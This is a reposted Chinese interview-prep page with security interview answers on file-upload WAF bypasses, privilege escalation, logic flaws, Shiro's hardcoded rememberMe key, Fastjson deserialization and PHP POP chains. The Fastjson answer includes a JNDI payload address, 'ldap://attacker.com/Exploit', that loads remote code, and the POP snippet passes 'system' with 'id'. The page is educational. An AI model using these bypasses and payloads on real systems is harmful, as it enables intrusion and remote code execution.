安恒春招一面

news2025/3/28 7:17:54

《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

1. 文件上传绕过 WAF 的手段

答案:
常见绕过方法包括:

  1. Content-Type 修改:如将 application/php 改为 image/jpeg

  2. 文件头伪造:在文件开头添加图片标识(如 GIF89a)。

  3. 后缀名绕过
    • 大小写混淆(如 PhP)。

    • 双后缀(如 test.php.jpg)。

    • 空字节截断(如 test.php%00.jpg)。

  4. 特殊解析漏洞:利用服务器解析特性(如 Apache 的 .htaccess 控制文件类型)。

  5. 分块传输编码(Chunked):通过畸形的 HTTP 请求绕过 WAF 检测。

2. 越权漏洞你了解么?

答案:
越权分为两类:

  1. 水平越权:同一权限用户访问他人资源。
    • 例如:用户 A 通过修改 URL 中的 ID 访问用户 B 的数据(/userinfo?id=2)。

  2. 垂直越权:低权限用户执行高权限操作。
    • 例如:普通用户通过篡改接口调用管理员功能(如删除用户)。
      防御:对每次请求进行权限校验,避免依赖前端参数判断身份。

3. 聊一聊逻辑漏洞

答案:
逻辑漏洞是业务逻辑设计缺陷导致的漏洞,常见类型:

  1. 验证码绕过:验证码可重复使用或未绑定会话。

  2. 密码重置漏洞:通过修改参数(如 user_id)重置他人密码。

  3. 条件竞争:并发请求绕过限制(如余额不足时多次提现)。

  4. 业务顺序绕过:未完成支付却生成订单。
    案例:某平台优惠券领取未限制次数,导致可无限领取。

4. Shiro 反序列化漏洞原理

答案:
Shiro 的 rememberMe 功能将用户信息序列化后加密存储在 Cookie 中。漏洞成因:

  1. 硬编码密钥:Shiro 默认使用固定 AES 密钥(如 kPH+bIxk5D2deZiIxcaaaA==)。

  2. 反序列化触发:攻击者构造恶意序列化数据,用泄露的密钥加密后发送,Shiro 解密后触发反序列化执行任意代码。
    利用工具:Shiro-550(密钥泄露)、Shiro-721(Padding Oracle 攻击)。

5. Fastjson 反序列化漏洞原理

答案:
Fastjson 在解析 JSON 时通过 @type 指定类名,自动调用 setter/getter 方法。漏洞利用:

  1. 攻击者构造恶意 JSON,指定 @typecom.sun.rowset.JdbcRowSetImpl

  2. 设置 dataSourceName 为恶意 JNDI 地址(如 ldap://attacker.com/Exploit)。

  3. 触发 JNDI 查询,加载远程恶意类,实现 RCE。
    关键点:Fastjson 的 autoType 特性未严格限制类名。

6 JdbcRowSetImpl 类的具体作用

答案:
JdbcRowSetImpl 是 JDBC 中用于封装数据库查询结果集的类。其 setDataSourceName()setAutoCommit() 方法可触发 JNDI 查询。当 autoCommit 被设置为 true 时,会自动连接 dataSourceName 指定的地址,导致 JNDI 注入。

7. PHP 的 POP 链

答案:
POP(Property-Oriented Programming)链通过串联魔术方法构造利用链。
示例(Monolog 库漏洞):

  1. 入口点__destruct() 方法触发文件删除操作。

  2. 串联调用:通过 __toString() 方法调用其他对象的 write() 方法。

  3. 最终执行:调用 file_put_contents() 写入 Webshell。
    利用代码片段

// 构造恶意对象链  
$obj = new ExampleClass();  
$obj->data = new AnotherClass();  
$obj->data->callback = "system";  
$obj->data->args = "id";  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2321397.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python应用指南:利用高德地图API获取POI数据(关键词版)

都说“为一杯奶茶愿意赴一座城”,曾经不知有多少年轻人为了一口茶颜悦色不惜跨越千里来到长沙打卡,而如今也有不少年轻人被传说中的“奶茶界的海底捞”所吸引,千里迢迢来到安徽只为尝一口卡旺卡奶茶。要说起来这卡旺卡奶茶,尽管这…

Linux网络相关概念和重要知识(2)(UDP套接字编程、聊天室的实现、观察者模式)

目录 1.UDP套接字编程 (1)socket编程 (2)UDP的使用 ①socket ②bind ③recvfrom ④sendto 2.聊天室的实现 (1)整体逻辑 (2)对sockaddr_in的封装 (3&#xff09…

JVM 03

今天是2025/03/24 15:21 day 11 总路线请移步主页Java大纲相关文章 今天进行JVM 5,6 个模块的归纳 首先是JVM的相关内容概括的思维导图 5. 优化技术 JVM通过多种优化技术提升程序执行效率,核心围绕热点代码检测和编译优化实现动态性能提升。 热点代码检测 JVM…

【VUE】day07 路由

【VUE】day07 路由 1. 路由2. 前端路由的工作方式3. 实现简易的前端路由4. 安装和配置路由4.1 安装vue-router包4.2 创建路由模块4.3 导入并挂在路由模块 5. 在路由模块中声明路由的对应关系5.1 router-view 1. 路由 在 Vue.js 中,路由(Routing&#xf…

内网穿透的应用-本地部署ChatTTS教程:Windows搭建AI语音合成服务的全流程配置

文章目录 前言1. 下载运行ChatTTS模型2. 安装Cpolar工具3. 实现公网访问4. 配置ChatTTS固定公网地址 前言 各位开发者小伙伴们!今天我要给大家推荐一个超级火的AI项目——ChatTTS。这个开源文本转语音(TTS)项目的火爆程度简直让人难以置信&a…

2025-03-21 Unity 网络基础3——TCP网络通信准备知识

文章目录 1 IP/端口类1.1 IPAddress1.2 IPEndPoint 2 域名解析2.1 IPHostEntry2.2 Dns 3 序列化与反序列化3.1 序列化3.1.1 内置类型 -> 字节数组3.1.2 字符串 -> 字节数组3.1.3 类对象 -> 字节数组 3.2 反序列化3.2.1 字节数组 -> 内置类型3.2.2 字节数组 -> 字…

静态时序分析:SDC约束命令set_min_pulse_width详解

相关阅读 静态时序分析https://blog.csdn.net/weixin_45791458/category_12567571.html?spm1001.2014.3001.5482 最小脉冲宽度检查用于确保一个单元的时钟引脚和异步置位/复位引脚的的脉冲宽度满足最小要求,如果违反该要求,则可能出现功能错误。严格意…

推荐1款简洁、小巧的实用收音机软件,支持手机和电脑

聊一聊 没想到现在还有人喜欢听广播。 我一直以为听广播必须要用那种小广播机才可以。 原来手机或电脑上也是可以的。 今天给大家分享一款可以在电脑和手机上听广播的软件。 软件介绍 龙卷风收音机 电台广播收音机分电脑和手机两个版本。 电脑端无需安装,下载…

HO与OH差异之Navigation

在上一篇的内容中我们进一步的了解了Navigation的用法,但是既然写到这里了我就再来扩充一下有关Navigation的内容。 HarmonyOS与OpenHarmony之间有些写法与内容是有差异的,就比如Navigation的跳转。以下内容中HarmonyOS我都简称为HO,OpenHar…

模糊规则激活方法详解(python实例对比)

前文我们已经了解了多种隶属函数,如三角形、梯形、高斯型、S型和Z型,并且讨论了模糊推理的基本过程,包括模糊化、规则评估、聚合和解模糊化。我们还了解了如何生成模糊规则的方法,比如专家经验、聚类分析、决策树、遗传算法和ANFI…

Web前端考核 JavaScript知识点详解

一、JavaScript 基础语法 1.1 变量声明 关键字作用域提升重复声明暂时性死区var函数级✅✅❌let块级❌❌✅const块级❌❌✅ 1.1.1变量提升的例子 在 JavaScript 中,var 声明的变量会存在变量提升的现象,而 let 和 const 则不会。变量提升是指变量的声…

Spring Boot3 配置文件

统一配置文件管理 SpringBoot工程下,进行统一的配置管理,你想设置的任何参数(端口号、项目根路径、数据库连接信息等等)都集中到一个固定位置和命名的配置文件(application.properties或application.yml)中&#xff0…

消防设施操作员考试:巧用时间高效备考攻略

合理规划时间是备考消防设施操作员考试的关键,能让学习事半功倍。​ 一、制定详细时间表​ 根据备考时间和考试内容,制定每日、每周的学习计划。将学习时间合理分配给理论知识学习、技能实操练习和模拟考试。例如,每天安排 3 - 4 小时学习理…

深度学习技术与应用的未来展望:从基础理论到实际实现

深度学习作为人工智能领域的核心技术之一,近年来引起了极大的关注。它不仅在学术界带来了革命性的进展,也在工业界展现出了广泛的应用前景。从图像识别到自然语言处理,再到强化学习和生成对抗网络(GAN),深度…

FastStoneCapture下载安装教程(附安装包)专业截图工具

文章目录 前言FastStoneCapture下载FastStoneCapture安装步骤FastStoneCapture使用步骤 前言 在日常工作与学习里,高效截图工具至关重要。本教程将为你呈现FastStoneCapture下载安装教程,助你轻松拥有。 FastStoneCapture下载 FastStone Capture 是一款…

26考研——图_图的遍历(6)

408答疑 文章目录 三、图的遍历图的遍历概述图的遍历算法的重要性图的遍历与树的遍历的区别图的遍历过程中的注意事项避免重复访问遍历算法的分类遍历结果的不唯一性 广度优先搜索广度优先搜索(BFS)概述BFS 的特点广度优先遍历的过程示例图遍历过程 BFS …

C++类与对象的第一个简单的实战练习-3.24笔记

在哔哩哔哩学习的这个老师的C面向对象高级语言程序设计教程&#xff08;118集全&#xff09;讲的真的很不错 实战一&#xff1a; 情况一&#xff1a;将所有代码写到一个文件main.cpp中 #include<iostream> //不知道包含strcpy的头文件名称是什么,问ai可知 #include<…

4.1 C#获取目录的3个方法的区别

C#中常用有如下3个获取目录的方式如下 1.Directory.GetCurrentDirectory():获取当前工作目录&#xff0c;工作目录可能被用户或其他代码修改。尽量少用。&#xff08;似乎只要在运行中使用另存为或者打开某个文件夹&#xff0c;当前工作目录就修改&#xff09; 2.Application…

oracle数据库(数据库启动关闭/sqlplus登录及基本操作/设置字符集/distinct去重)

目录 1. Oracle数据库启动 2. Oracle数据库关闭 3. sqlplus登录Oracle数据库 3.1 使用sqlplus登录Oracle数据库 3.2 使用sqlplus登录Oracle数据库 3.3 远程登录 3.4 解锁用户 3.5 修改用户密码 3.6 查看当前语言环境 4. sqlplus基本操作 4.1 显示当前用户 4.2 查看当前用户…

1、SpringBoot集成MyBatis

&#xff08;1&#xff09;创建SpringBoot项目 &#xff08;2&#xff09;集成MyBatis 导入坐标 <!-- 连接数据库&#xff0c;版本5 --> <dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><versi…